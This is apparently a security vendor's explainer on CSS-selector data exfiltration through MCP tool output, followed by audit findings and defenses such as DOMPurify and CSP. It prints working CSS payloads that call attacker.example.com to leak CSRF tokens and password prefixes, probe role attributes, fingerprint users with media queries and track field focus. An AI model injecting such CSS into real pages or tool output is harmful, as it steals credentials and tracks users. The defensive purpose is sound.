MCP server security · CSS exfiltration · selector injection · input value leakage · no-JS data exfiltration

MCP server CSS exfiltration via selectors — input value leakage, attribute presence probing, and user preference leaks without JavaScript

CSS attribute selectors match DOM elements based on their attribute values — including the current value of input fields. When MCP tool output can inject a <style> block, an attacker can use input[value^="a"]{ background: url(attacker.com?c=a) } to cause the browser to load an attacker-controlled URL whenever an input element's value starts with "a" — no JavaScript, no event handlers, no script-src CSP violation. By combining rules for every possible character prefix, an attacker can reconstruct the full value of visible input fields, probe for sensitive data attributes, and detect user system preferences via @media queries.

How CSS selector exfiltration works

The CSS specification allows matching elements based on attribute values using substring selectors: [attr^="val"] (starts with), [attr$="val"] (ends with), [attr*="val"] (contains). When a rule's selector matches an element, the browser applies the rule's declarations — including background: url(...), which triggers an HTTP request to load the background image. That HTTP request is observable at the attacker-controlled server.

Critically, the CSS value attribute selector matches the value HTML attribute of input elements — which reflects the element's current programmatic value in some browsers. Combined with prefix selectors for every character in the character set (a–z, 0–9, special characters), this enables character-by-character reconstruction of the field's value:

<!-- MCP tool output: CSS injection for input value exfiltration -->
<!-- (requires style tag to not be stripped by sanitizer) -->
<style>
/* Exfiltrate the first character of any input[name="password"] */
input[name="password"][value^="a"] { background: url(https://attacker.example.com/exfil?pos=0&c=a) }
input[name="password"][value^="b"] { background: url(https://attacker.example.com/exfil?pos=0&c=b) }
input[name="password"][value^="c"] { background: url(https://attacker.example.com/exfil?pos=0&c=c) }
/* ... repeat for all 95 printable ASCII characters ... */
input[name="password"][value^="z"] { background: url(https://attacker.example.com/exfil?pos=0&c=z) }

/* Then exfiltrate the second character given knowledge of the first: */
input[name="password"][value^="aa"] { background: url(https://attacker.example.com/exfil?pos=1&c=a) }
input[name="password"][value^="ab"] { background: url(https://attacker.example.com/exfil?pos=1&c=b) }
/* ... and so on, iterating until no rules match (end of value) ... */
</style>

<!-- For each matching rule, the browser loads the attacker URL.
     The attacker observes which URLs are loaded and reconstructs the value.
     No JavaScript. No event handlers. No script-src violation.
     Only a style-src CSP without 'unsafe-inline' would block this. -->

Important scope caveat: CSS [value^=...] selectors match the HTML value attribute as it appears in the DOM — not the user-typed runtime value of a text input. In most browsers, input.value (the live value) is not reflected back to the value DOM attribute. However, some frameworks (Vue, Angular) two-way bind the attribute to the live value, and React hydration sets the value attribute. Additionally, input[name="hidden-field"][value^="..."] targets hidden inputs that do contain their full value in the value attribute — a reliable target for exfiltrating CSRF tokens, session IDs, and pre-filled data stored in hidden fields.

Attack 1: hidden input value exfiltration (CSRF tokens, session IDs)

Hidden input fields (<input type="hidden">) always reflect their full value in the value attribute. CSRF tokens, pre-filled user IDs, session fragment tokens, and other security-sensitive values stored in hidden fields are directly readable via CSS selector exfiltration:

<!-- Application HTML: hidden CSRF token in form -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a8f3b2c1d4e5f6a7b8c9d0e1f2a3b4c5">
  <input type="text" name="amount">
  <button type="submit">Transfer</button>
</form>

<!-- CSS exfiltration injected by MCP tool output: -->
<style>
/* Extract CSRF token character by character from the hidden input */
input[name="csrf_token"][value^="a"] { background: url(https://attacker.example.com/t?p=0&v=a) }
input[name="csrf_token"][value^="b"] { background: url(https://attacker.example.com/t?p=0&v=b) }
/* ... enumerate all hex chars: 0-9, a-f ... */
input[name="csrf_token"][value^="a8"] { background: url(https://attacker.example.com/t?p=1&v=8) }
input[name="csrf_token"][value^="a8f"] { background: url(https://attacker.example.com/t?p=2&v=f) }
/* Attacker progressively reconstructs: "a" → "a8" → "a8f" → "a8f3" → ... -->
</style>

Attack 2: sensitive attribute presence probing

Attribute presence selectors ([data-admin], [data-role="superuser"]) reveal whether sensitive attributes exist on any element in the page, without knowing the value. MCP tool output can probe the DOM structure to determine user privilege level, session flags, and feature flags:

<style>
/* Probe for admin role attribute on any element */
[data-role="admin"] { background: url(https://attacker.example.com/probe?flag=is-admin) }
[data-role="superuser"] { background: url(https://attacker.example.com/probe?flag=is-superuser) }

/* Probe for feature flag attributes */
[data-feature="beta-tester"] { background: url(https://attacker.example.com/probe?flag=beta) }
[data-plan="enterprise"] { background: url(https://attacker.example.com/probe?flag=enterprise) }

/* Probe for session state */
[data-authenticated="true"] { background: url(https://attacker.example.com/probe?flag=auth) }
[data-2fa-pending] { background: url(https://attacker.example.com/probe?flag=2fa-pending) }
</style>

Attack 3: user preference and environment leakage via @media queries

CSS @media queries match browser environment properties — color scheme preference, reduced motion setting, pointer type, display resolution, and more. Each matching @media query can trigger a URL load that reports the matched property to the attacker:

<style>
/* Detect user's color scheme preference */
@media (prefers-color-scheme: dark) {
  body::after { content: ""; background: url(https://attacker.example.com/env?pref=dark) }
}

/* Detect reduced motion (often indicates accessibility need or medical condition) */
@media (prefers-reduced-motion: reduce) {
  body::after { content: ""; background: url(https://attacker.example.com/env?pref=reduce-motion) }
}

/* Detect pointer type — distinguishes mobile (touch) from desktop (mouse) */
@media (pointer: coarse) {
  body::after { content: ""; background: url(https://attacker.example.com/env?device=mobile) }
}

/* Detect high-DPI display (Retina screens) */
@media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) {
  body::after { content: ""; background: url(https://attacker.example.com/env?display=hidpi) }
}

/* Combined with other signals, these preferences create a unique fingerprint
   that can de-anonymize users across sessions even without cookies */
</style>

Attack 4: focus timing exfiltration

The :focus pseudo-class matches elements that currently have focus. Combining :focus with a URL-loading background rule lets an attacker detect which input fields the user focuses on and when:

<style>
/* Detect when user focuses the password field */
input[name="password"]:focus {
  background: url(https://attacker.example.com/focus?field=password&ts=TIMESTAMP)
  /* TIMESTAMP cannot be dynamic in pure CSS — attacker observes server-side request timing */
}

/* Detect focus sequence — which fields in the login form the user tabs through */
input[name="username"]:focus { background: url(https://attacker.example.com/focus?field=username) }
input[name="2fa"]:focus { background: url(https://attacker.example.com/focus?field=2fa) }
input[name="recovery_code"]:focus { background: url(https://attacker.example.com/focus?field=recovery) }
</style>

SkillAudit findings: CSS exfiltration in MCP server audits

HIGH −20
MCP tool output rendered without DOMPurify FORBID_TAGS: ['style'] — CSS injection path open; attacker can exfiltrate hidden input values (CSRF tokens, session IDs) via attribute selector URL-loading technique without any JavaScript
HIGH −16
No style-src CSP directive (or style-src 'unsafe-inline') — injected style blocks execute without restriction; CSS exfiltration unrestricted by any policy
MEDIUM −10
Hidden input fields with predictable name attributes containing security tokens — CSRF token, session ID fragments, or pre-filled API keys in hidden fields are directly readable via CSS [name][value^=] selector exfiltration
MEDIUM −8
Sensitive role/plan/feature-flag attributes on DOM elements — attribute presence probing via CSS selectors reveals user privilege level without JavaScript; data-role, data-plan, data-feature-flag attributes visible to injected CSS
LOW −4
No connect-src CSP directive restricting outbound URL loading — CSS-triggered background URL loads can reach arbitrary external domains; restricting img-src and connect-src to 'self' blocks the exfiltration channel

Defenses

Strip style tags with DOMPurify

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(mcpToolOutput, {
  FORBID_TAGS: ['style', 'link'], // strip style blocks and stylesheet links
  FORCE_BODY: true,
});

CSP style-src with nonce

A style-src 'nonce-{RANDOM}' CSP directive blocks any <style> tag without the correct server-generated nonce. Injected style blocks never have the nonce, so they are blocked by the browser before any selector matching occurs. The nonce must be cryptographically random and unique per HTTP response — static nonces can be read from the DOM and reused.

Content-Security-Policy: style-src 'nonce-{RANDOM_PER_REQUEST}' 'strict-dynamic';
img-src 'self' data:;
connect-src 'self';

Avoid sensitive data in HTML attributes

The most reliable long-term fix is architectural: never store security-sensitive values in HTML attributes where CSS can read them. Store CSRF tokens in JavaScript variables (inside script tags with nonce), not in hidden input value attributes. Use data-* attributes only for non-sensitive UI state, not for role information.

SkillAudit's CSS injection checks examine MCP server tool output for <style> blocks containing URL-loading declarations and flag applications missing style-src CSP controls. Run a free audit to check your MCP server's CSS exfiltration exposure.